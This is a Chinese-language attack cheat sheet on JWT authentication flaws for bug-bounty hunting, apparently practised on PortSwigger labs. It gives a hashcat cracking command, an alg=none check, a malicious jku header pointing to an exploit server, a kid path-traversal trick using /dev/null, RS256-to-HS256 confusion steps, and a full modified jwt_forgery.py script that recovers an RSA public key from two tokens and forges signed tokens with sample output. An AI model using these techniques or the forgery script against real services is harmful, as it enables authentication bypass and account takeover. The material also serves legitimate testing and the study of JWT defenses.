JWT认证漏洞
JWT认证漏洞
插件
安装burp插件 json web token即可
SRC挖掘
-
检查是否有对签名做校验
-
检查是否接受没有签名的jwt token
设置alg为none,然后看能否认证通过,认证通过则代表存在漏洞
-
检查jwt是否使用弱口令
bp被动扫描会检测到是否使用弱口令秘钥,也可以使用hashcat(https://github.com/hashcat/hashcat/releases/tag/v6.2.6)进行弱口令爆破
hashcat.exe -a 0 -m 16500 eyJraWQiOiJmYjM0ZGRjNi00NTgwLTQ2ZGItOGNhYS05MDdkZWM1ZWRkMDkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MjI5NTc0NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.h9G7j_VCiYvJPhO9rRmaBeTWDqAk5ovAr95w-u23mGw F:\payload\jwt.secrets.list -
jwk嵌入检查:在jwt头嵌入公钥(JWK),使用私钥进行签名,然后将篡改的jwt发给系统,系统取出jwk并使用公钥校验签名,如果jwks端点是不受信任的,这么处理就会出问题,使用jwt editor即可完成攻击流程(生成RSA密钥对–》在json web token页签处选择攻击-embedded JWK)
-
jku嵌入检查:攻击者需要控制一个恶意 JWKS 端点,并在其中发布自己的公钥,然后在jwt header中添加jku参数指向恶意端点,然后签名并发送认证请求,认证通过即代表存在漏洞
jwt header:
{ "kid": "36c2d367-edf4-41de-8e0f-b95b2fddfa84", "alg": "RS256", "jku": "https://exploit-0a10003b049a86ea82fa1acf017400e4.exploit-server.net/exploit" }嵌入的jku实际是一个url,这个url指向的是一个恶意的jwks端点
jku端点内容:
{ "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "36c2d367-edf4-41de-8e0f-b95b2fddfa84", "n": "yARlIqDZVGx4XEgZdSNfk3uzBbbNkKG4-fiXBnO649Y5Rxo60_jI_wpou7Xdtk8syP-0J3afS40MCzmR9VtLSzFPgVfPSNO_bvkP9XWxHyXpJkJux_8gabfzWuOBRKPQWTWkVLUq109du0nf-BWClMJrttBMrox-NYOHWJ-0UCPgpOpp-0bs_w-cszhewpZtvt2oNlo0P3ahYa1zVWsSIiTiy_uM5_Kta8uPv0nWEA4dYdkdKJFLtau_3-kgSOCZgu0HwZy8tnc4KaN8nKCP7Nnd3DRdRHTEH9ASDSKzz1jt3TIHwd8qUQkMBxnbOwlgnsP5upf4wyLfTR28e8MQHw" } ] }其中keys列表中的部分是通过jwt editor 生成的公私钥对提取出来的(选中公私钥–》copy public key as jwk)
-
kid路径遍历检查:通过指定存放在服务器的恶意文件来加载密钥,密钥刚好被知道,那么攻击者可以通过jwt editor生成一组对称密钥,其中k替换为密钥值,然后攻击者就可以使用对称密钥进行自签名,从而绕过认证
一般来说,kid可以设置为”../../../../../../../dev/null”,对称密钥的k值则设置为”AA==”即base64编码的null字节
-
算法混淆检查:通过修改alg来绕过验证,可能是将alg设置为none,也可能是将RS256改为HS256
常见获取jwks的端点:
/jwks.json /.well-known/jwks.json /.well-known/openid-configuration还可以从证书中提取或者暴力破解(后面有说明)获取
在将公钥(RSA-RS256)转换为对称密钥(HS256)的过程中,在对得到的pem公钥进行base64编码时需要在末尾加上换行符,比如
-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmkKoVPzYppbJ99Wx7iH/ y2XjlfsF7k96c0FKXvqWEber7wnqbTRmifo8ZrkqwwrWOqzvw9coS2ccPf2vhBvl J6I1XAvrThLqFB3hqpqqxhHj2Eij5JBDF09fDwy6oMeOKvU7Hcfn6Yu+Eyj2NsVQ 6lGItjk1Lbs9VwGcSliBT4ufZZUnitDiQ5W26bfqoyVj/e/95HpBnQVWZRxtOA1B ZOneOg8J5vu6e4HtbPn55L+jkK8aK612nn8JxqXEgT0wXM0T0oyqGaVXDPGyFPA1 WfmJjOhA1UWu554Y2VcRVBLu4lcTlnmrNvYTjGDJ7Hu2EqdF00RgrxYMOeIehzcK awIDAQAB -----END PUBLIC KEY-----不然会失败。
alg从RS256混淆为HS256的大致流程就是:提取jwk公钥–》在jwt editor中创建新的RSA密钥–》以pem格式提取出公钥–》以base64编码公钥–》以编码后的公钥作为key创建新的对称密钥–》修改alg为HS256–》修改需要修改的内容–》使用该对称密钥进行签名得到新的jwt token
-
暴力破解服务器公钥检查:
-
获取两个有效但不同的jwt token并将他们作为jwt_forgery.py的入参
-
输出结果如下:
[+] Found n with multiplier 1 : 0x909bbbxx... [+] Written to 909bbb7f51ed95dd_65537_x509.pem [+] Tampered JWT: b'eyJraWQiOiJhNWE3N2UxYi0yODBjLTQ2OGQtODE4OS0xOGFmMjRkOWVlMWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc0MjYyNjg3MCwgInN1YiI6ICJ3aWVuZXIifQ.J-sKaoaQ6xKaEULvCn2Y0veX0oUuX2IHiLX5D3KSK5E' [+] Written to 909bbb7f51ed95dd_65537_pkcs1.pem [+] Tampered JWT: b'eyJraWQiOiJhNWE3N2UxYi0yODBjLTQ2OGQtODE4OS0xOGFmMjRkOWVlMWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc0MjYyNjg3MCwgInN1YiI6ICJ3aWVuZXIifQ.1V3-3iwSUqV3Q08RIMhIPZnR33W8N88ZudE5MAHZO5I' ================================================================================从上面的
909bbb7f51ed95dd_65537_x509.pem获取公钥 -
jwt_forgery.py的地址:https://github.com/silentsignal/rsa_sign2n,经过修改后的jwt_forgery.py:
# 提供两个有效的jwt token作为入参,适用于jwt 的RS256、RS384、RS512 import sys import json import base64 from gmpy2 import mpz, gcd, c_div import binascii from Cryptodome.Hash import SHA256, SHA384, SHA512 from Cryptodome.Signature import pkcs1_15 import asn1tools import binascii import time import hmac import hashlib def b64urldecode(b64): return base64.urlsafe_b64decode(b64 + ("=" * (len(b64) % 4))) def b64urlencode(m): return base64.urlsafe_b64encode(m).strip(b"=") def bytes2mpz(b): return mpz(int(binascii.hexlify(b), 16)) def der2pem(der, token="RSA PUBLIC KEY"): der_b64 = base64.b64encode(der).decode('ascii') lines = [der_b64[i:i + 64] for i in range(0, len(der_b64), 64)] return "-----BEGIN %s-----\n%s\n-----END %s-----\n" % (token, "\n".join(lines), token) def forge_mac(jwt0, public_key): jwt0_parts = jwt0.encode('utf8').split(b'.') jwt0_msg = b'.'.join(jwt0_parts[0:2]) alg = b64urldecode(jwt0_parts[0].decode('utf8')) # Always use HS256 alg_tampered = b64urlencode(alg.replace(b"RS256", b"HS256").replace(b"RS384", b"HS256").replace(b"RS512", b"HS256")) payload = json.loads(b64urldecode(jwt0_parts[1].decode('utf8'))) payload['exp'] = int(time.time()) + 86400 # print(payload) payload_encoded = b64urlencode(json.dumps(payload).encode('utf8')) tamper_hmac = b64urlencode( hmac.HMAC(public_key, b'.'.join([alg_tampered, payload_encoded]), hashlib.sha256).digest()) jwt0_tampered = b'.'.join([alg_tampered, payload_encoded, tamper_hmac]) print("[+] Tampered JWT: %s" % (jwt0_tampered)) return jwt0_tampered # e=mpz(65537) # Can be a couple of other common values jwt0 = sys.argv[1] jwt1 = sys.argv[2] alg0 = json.loads(b64urldecode(jwt0.split('.')[0])) alg1 = json.loads(b64urldecode(jwt1.split('.')[0])) if not alg0["alg"].startswith("RS") or not alg1["alg"].startswith("RS"): raise Exception("Not RSA signed tokens!") if alg0["alg"] == "RS256": HASH = SHA256 elif alg0["alg"] == "RS384": HASH = SHA384 elif alg0["alg"] == "RS512": HASH = SHA512 else: raise Exception("Invalid algorithm") jwt0_sig_bytes = b64urldecode(jwt0.split('.')[2]) jwt1_sig_bytes = b64urldecode(jwt1.split('.')[2]) if len(jwt0_sig_bytes) != len(jwt1_sig_bytes): raise Exception("Signature length mismatch") # Based on the mod exp operation alone, there may be some differences! jwt0_sig = bytes2mpz(jwt0_sig_bytes) jwt1_sig = bytes2mpz(jwt1_sig_bytes) jks0_input = ".".join(jwt0.split('.')[0:2]) hash_0 = HASH.new(jks0_input.encode('ascii')) padded0 = pkcs1_15._EMSA_PKCS1_V1_5_ENCODE(hash_0, len(jwt0_sig_bytes)) jks1_input = ".".join(jwt1.split('.')[0:2]) hash_1 = HASH.new(jks1_input.encode('ascii')) padded1 = pkcs1_15._EMSA_PKCS1_V1_5_ENCODE(hash_1, len(jwt0_sig_bytes)) m0 = bytes2mpz(padded0) m1 = bytes2mpz(padded1) pkcs1 = asn1tools.compile_files('pkcs1.asn', codec='der') x509 = asn1tools.compile_files('x509.asn', codec='der') jwts = [] for e in [mpz(3), mpz(65537)]: gcd_res = gcd(pow(jwt0_sig, e) - m0, pow(jwt1_sig, e) - m1) # To speed things up switch comments on prev/next lines! # gcd_res = mpz(0x143f02c15c5c79368cb9d1a5acac4c66c5724fb7c53c3e048eff82c4b9921426dc717b2692f8b6dd4c7baee23ccf8e853f2ad61f7151e1135b896d3127982667ea7dba03370ef084a5fd9229fc90aeed2b297d48501a6581eab7ec5289e26072d78dd37bedd7ba57b46cf1dd9418cd1ee03671b7ff671906859c5fcda4ff5bc94b490e92f3ba9739f35bd898eb60b0a58581ebdf14b82ea0725f289d1dac982218d6c8ec13548f075d738d935aeaa6260a0c71706ccb8dedef505472ce0543ec83705a7d7e4724432923f6d0d0e58ae2dea15f06b1b35173a2f8680e51eff0fb13431b1f956cf5b08b2185d9eeb26726c780e069adec0df3c43c0a8ad95cbd342) print("[*] GCD: ", hex(gcd_res)) for my_gcd in range(1, 100): my_n = c_div(gcd_res, mpz(my_gcd)) if pow(jwt0_sig, e, my_n) == m0: print("[+] Found n with multiplier", my_gcd, " :\n", hex(my_n)) pkcs1_pubkey = pkcs1.encode("RSAPublicKey", {"modulus": int(my_n), "publicExponent": int(e)}) x509_der = x509.encode("PublicKeyInfo", {"publicKeyAlgorithm": {"algorithm": "1.2.840.113549.1.1.1", "parameters": None}, "publicKey": (pkcs1_pubkey, len(pkcs1_pubkey) * 8)}) pem_name = "%s_%d_x509.pem" % (hex(my_n)[2:18], e) with open(pem_name, "wb") as pem_out: public_key = der2pem(x509_der, token="PUBLIC KEY").encode('ascii') pem_out.write(public_key) print("[+] Written to %s" % (pem_name)) jwts.append(forge_mac(jwt0, public_key)) pem_name = "%s_%d_pkcs1.pem" % (hex(my_n)[2:18], e) with open(pem_name, "wb") as pem_out: public_key = der2pem(pkcs1_pubkey).encode('ascii') pem_out.write(public_key) print("[+] Written to %s" % (pem_name)) jwts.append(forge_mac(jwt0, public_key)) print("=" * 80) print("Here are your JWT's once again for your copypasting pleasure") print("=" * 80) for j in jwts: print(j.decode('utf8'))
-